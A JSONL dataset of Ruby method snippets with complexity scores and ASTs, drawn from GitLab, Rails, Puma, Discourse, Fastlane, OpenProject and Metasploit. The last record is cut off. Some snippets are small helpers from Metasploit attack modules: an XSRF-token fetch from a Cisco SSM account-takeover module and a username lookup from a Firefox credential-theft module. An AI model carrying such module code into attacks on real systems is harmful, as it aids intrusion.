{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/java/rmi/client/registry.rb","start_line":92,"raw_source":"def registry_interface_hash\n                hash = calculate_interface_hash(\n                  [\n                    {\n                      name: 'bind',\n                      descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',\n                      exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']\n                    },\n                    {\n                      name: 'list',\n                      descriptor: '()[Ljava/lang/String;',\n                      exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']\n                    },\n                    {\n                      name: 'lookup',\n                      descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',\n                      exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']\n                    },\n                    {\n                      name: 'rebind',\n                      descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',\n                      exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']\n                    },\n                    {\n                      name: 'unbind',\n                      descriptor: '(Ljava/lang/String;)V',\n                      exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']\n                    }\n                  ]\n                )\n\n                hash\n              end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"registry_interface_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[null,\"calculate_interface_hash\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"bind\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"descriptor\"]},{\"type\":\"str\",\"children\":[\"(Ljava/lang/String;Ljava/rmi/Remote;)V\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exceptions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"java.rmi.AccessException\"]},{\"type\":\"str\",\"children\":[\"java.rmi.AlreadyBoundException\"]},{\"type\":\"str\",\"children\":[\"java.rmi.RemoteException\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"list\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"descriptor\"]},{\"type\":\"str\",\"children\":[\"()[Ljava/lang/String;\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exceptions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"java.rmi.AccessException\"]},{\"type\":\"str\",\"children\":[\"java.rmi.RemoteException\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"lookup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"descriptor\"]},{\"type\":\"str\",\"children\":[\"(Ljava/lang/String;)Ljava/rmi/Remote;\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exceptions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"java.rmi.AccessException\"]},{\"type\":\"str\",\"children\":[\"java.rmi.NotBoundException\"]},{\"type\":\"str\",\"children\":[\"java.rmi.RemoteException\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"rebind\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"descriptor\"]},{\"type\":\"str\",\"children\":[\"(Ljava/lang/String;Ljava/rmi/Remote;)V\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exceptions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"java.rmi.AccessException\"]},{\"type\":\"str\",\"children\":[\"java.rmi.RemoteException\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"unbind\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"descriptor\"]},{\"type\":\"str\",\"children\":[\"(Ljava/lang/String;)V\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exceptions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"java.rmi.AccessException\"]},{\"type\":\"str\",\"children\":[\"java.rmi.NotBoundException\"]},{\"type\":\"str\",\"children\":[\"java.rmi.RemoteException\"]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"1bc042b2-6790-41fb-8aa7-9be20518490e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/pdu.rb","start_line":93,"raw_source":"def response\n        Message.new(@version, @community, Response.from_pdu(@pdu))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Message\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@version\"]},{\"type\":\"ivar\",\"children\":[\"@community\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Response\"]},\"from_pdu\",{\"type\":\"ivar\",\"children\":[\"@pdu\"]}]}]}]}","id":"f0d3d7b0-49b4-4d9b-9c89-890a326e60da"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/cisco_ssm_onprem_account.rb","start_line":48,"raw_source":"def xsrf_token_value\n    res = send_request_cgi(\n      'method' => 'GET',\n      'keep_cookies' => true,\n      'uri' => normalize_uri(target_uri.path, 'backend/settings/oauth_adfs'),\n      'vars_get' => {\n        'hostname' => Rex::Text.rand_text_alpha(6..10)\n      }\n    )\n\n    raise XsrfTokenError, 'Failed to get a 200 response from the server.' unless res&.code == 200\n\n    print_good('Server reachable.')\n\n    xsrf_token_value = res.get_cookies.scan(/XSRF-TOKEN=([^;]*)/).flatten[0]\n    raise XsrfTokenError, 'XSRF Token not found' unless xsrf_token_value\n\n    decoded_xsrf_token = decode_url(xsrf_token_value)\n    print_good(\"Retrieved XSRF Token: #{decoded_xsrf_token}\")\n    decoded_xsrf_token\n  end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"xsrf_token_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"backend/settings/oauth_adfs\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"hostname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"XsrfTokenError\"]},{\"type\":\"str\",\"children\":[\"Failed to get a 200 response from the server.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Server reachable.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"xsrf_token_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"XSRF-TOKEN=([^;]*)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"flatten\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xsrf_token_value\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"XsrfTokenError\"]},{\"type\":\"str\",\"children\":[\"XSRF Token not found\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"decoded_xsrf_token\",{\"type\":\"send\",\"children\":[null,\"decode_url\",{\"type\":\"lvar\",\"children\":[\"xsrf_token_value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrieved XSRF Token: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded_xsrf_token\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"decoded_xsrf_token\"]}]}]}","id":"f929e5c8-56b2-4ccb-95f3-105123937fe4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/journal.rb","start_line":166,"raw_source":"def visible?(user = User.current)\n    if internal?\n      user.allowed_in_project?(:view_internal_comments, project)\n    else\n      journable.visible?(user)\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"visible?\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"internal?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"view_internal_comments\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"journable\"]},\"visible?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"ed2a0ad6-d1e9-4167-8d58-359560513144"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/application_controller.rb","start_line":53,"raw_source":"def repository\n    @repository ||= project.repository\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]}]}]}","id":"87773f62-706d-4983-b04e-3c7eaecb4401"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/generators/gitlab/usage_metric_definition_generator.rb","start_line":45,"raw_source":"def create_metric_file\n      say(\"This generator is DEPRECATED. For event based metrics use Internal Events tracking framework instead.\")\n      # rubocop: disable Gitlab/DocumentationLinks/HardcodedUrl -- links for developers, not users\n      say(\"https://docs.gitlab.com/ee/development/internal_analytics/internal_event_instrumentation/quick_start.html\")\n\n      say(\"If you need to implement Database, Prometheus or custom metrics, see\")\n      say(\"https://docs.gitlab.com/ee/development/internal_analytics/metrics/metrics_instrumentation.html\")\n      # rubocop: enable Gitlab/DocumentationLinks/HardcodedUrl\n      desc = ask(\"Would you like to continue anyway? y/N\") || 'n'\n      return unless desc.casecmp('y') == 0\n\n      validate!\n\n      key_paths.each do |key_path|\n        template \"metric_definition.yml\", file_path(key_path), key_path\n      end\n    end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_metric_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"This generator is DEPRECATED. For event based metrics use Internal Events tracking framework instead.\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"https://docs.gitlab.com/ee/development/internal_analytics/internal_event_instrumentation/quick_start.html\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"If you need to implement Database, Prometheus or custom metrics, see\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"https://docs.gitlab.com/ee/development/internal_analytics/metrics/metrics_instrumentation.html\"]}]},{\"type\":\"lvasgn\",\"children\":[\"desc\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ask\",{\"type\":\"str\",\"children\":[\"Would you like to continue anyway? y/N\"]}]},{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desc\"]},\"casecmp\",{\"type\":\"str\",\"children\":[\"y\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"validate!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_path\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"metric_definition.yml\"]},{\"type\":\"send\",\"children\":[null,\"file_path\",{\"type\":\"lvar\",\"children\":[\"key_path\"]}]},{\"type\":\"lvar\",\"children\":[\"key_path\"]}]}]}]}]}","id":"2985c069-dc82-4854-ae28-f795cb2e3fe7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/pre_auth_pk_as_rep.rb","start_line":16,"raw_source":"def dh_rep_info\n            Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(self[:dh_rep_info].value)\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"dh_rep_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"CryptoAsn1\"]},\"Cms\"]},\"ContentInfo\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"dh_rep_info\"]}]},\"value\"]}]}]}","id":"fbf2ac3a-8bfe-4f87-a9cc-2801174d1415"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/plugin_test_helper.rb","start_line":20,"raw_source":"def plugin_file(path, contents, mode: \"w\")\n    FileUtils.mkdir_p File.dirname(\"#{plugin_path}/#{path}\")\n    File.open(\"#{plugin_path}/#{path}\", mode) do |f|\n      f.puts contents\n    end\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"plugin_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"contents\"]},{\"type\":\"kwoptarg\",\"children\":[\"mode\",{\"type\":\"str\",\"children\":[\"w\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugin_path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvar\",\"children\":[\"mode\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"contents\"]}]}]}]}]}","id":"bd034447-9822-4476-8537-4106e3360bd3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_serializer.rb","start_line":268,"raw_source":"def can_mute_users\n    scope.can_mute_users?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_mute_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_mute_users?\"]}]}","id":"f98f4640-b488-4fd7-84f1-b54b703235e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cops_documentation_generator.rb","start_line":214,"raw_source":"def examples(example_objects, cop)\n      return '' if example_objects.none?\n\n      example_objects.each_with_object(cop_subsection('Examples', cop).dup) do |example, content|\n        content << \"\\n\" unless content.end_with?(\"\\n\\n\")\n        content << example_header(example.name, cop) unless example.name == ''\n        content << formatter.to_code(example)\n      end\n    end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"examples\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example_objects\"]},{\"type\":\"arg\",\"children\":[\"cop\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_objects\"]},\"none?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_objects\"]},\"each_with_object\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_subsection\",{\"type\":\"str\",\"children\":[\"Examples\"]},{\"type\":\"lvar\",\"children\":[\"cop\"]}]},\"dup\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"example\"]},{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"example_header\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"cop\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatter\"]},\"to_code\",{\"type\":\"lvar\",\"children\":[\"example\"]}]}]}]}]}]}]}","id":"4b74b6af-9249-41b7-aaa2-67e2548d9e35"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/dsl.rb","start_line":133,"raw_source":"def _load_from(path)\n      if path\n        @path = path\n        instance_eval(File.read(path), path, 1)\n      end\n    ensure\n      _offer_plugins\n    end","complexity_score":10.95,"ast_json":"{\"type\":\"def\",\"children\":[\"_load_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"_offer_plugins\"]}]}]}","id":"7ef95815-7717-41d3-ab89-4f5069577212"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/env.rb","start_line":389,"raw_source":"def workspaces_cluster_available?\n        enabled?(ENV['WORKSPACES_CLUSTER_AVAILABLE'], default: false)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"workspaces_cluster_available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"enabled?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WORKSPACES_CLUSTER_AVAILABLE\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"d009594e-3089-43fa-9f59-6674c0edcab0"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/trainer/lib/trainer/xcresult/test_suite.rb","start_line":98,"raw_source":"def to_xml(output_remove_retry_attempts: false)\n        testsuite = Helper.create_xml_element('testsuite',\n          name: @name,\n          time: duration.to_s,\n          tests: test_cases_count.to_s,\n          failures: failures_count.to_s,\n          skipped: skipped_count.to_s)\n\n        # Add test cases\n        @test_cases.each do |test_case|\n          runs = test_case.to_xml_nodes\n          runs = runs.last(1) if output_remove_retry_attempts\n          runs.each { |node| testsuite.add_element(node) }\n        end\n\n        # Add sub-suites\n        @sub_suites.each do |sub_suite|\n          testsuite.add_element(sub_suite.to_xml(output_remove_retry_attempts: output_remove_retry_attempts))\n        end\n\n        testsuite\n      end","complexity_score":29.08,"ast_json":"{\"type\":\"def\",\"children\":[\"to_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"output_remove_retry_attempts\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"testsuite\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"create_xml_element\",{\"type\":\"str\",\"children\":[\"testsuite\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"duration\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tests\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_cases_count\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failures\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failures_count\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skipped\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skipped_count\"]},\"to_s\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@test_cases\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_case\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"runs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_case\"]},\"to_xml_nodes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_remove_retry_attempts\"]},{\"type\":\"lvasgn\",\"children\":[\"runs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runs\"]},\"last\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"runs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"testsuite\"]},\"add_element\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sub_suites\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_suite\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"testsuite\"]},\"add_element\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_suite\"]},\"to_xml\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output_remove_retry_attempts\"]},{\"type\":\"lvar\",\"children\":[\"output_remove_retry_attempts\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"testsuite\"]}]}]}","id":"e59b3fb7-3aa1-4ac4-bbed-8a94387689ee"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/firefox_creds.rb","start_line":739,"raw_source":"def whoami\n    if @platform == :windows\n      id = session.sys.config.getenv('USERNAME')\n    else\n      id = cmd_exec('id -un')\n    end\n\n    id\n  end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"whoami\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@platform\"]},\"==\",{\"type\":\"sym\",\"children\":[\"windows\"]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"config\"]},\"getenv\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"id -un\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}","id":"94b41b35-e91f-4209-8ce3-0eec72ab7d5a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_settings_helper.rb","start_line":50,"raw_source":"def all_protocols_enabled?\n    Gitlab::CurrentSettings.enabled_git_access_protocol.blank?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"all_protocols_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"enabled_git_access_protocol\"]},\"blank?\"]}]}","id":"2b666a3a-6350-4716-8c9a-f7a308c79698"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/blob_controller.rb","start_line":71,"raw_source":"def show\n    conditionally_expand_blob(blob)\n\n    respond_to do |format|\n      format.html do\n        show_html\n      end\n\n      format.json do\n        page_title blob.path, @ref, @project.full_name\n        set_last_commit_sha\n        show_json\n      end\n    end\n  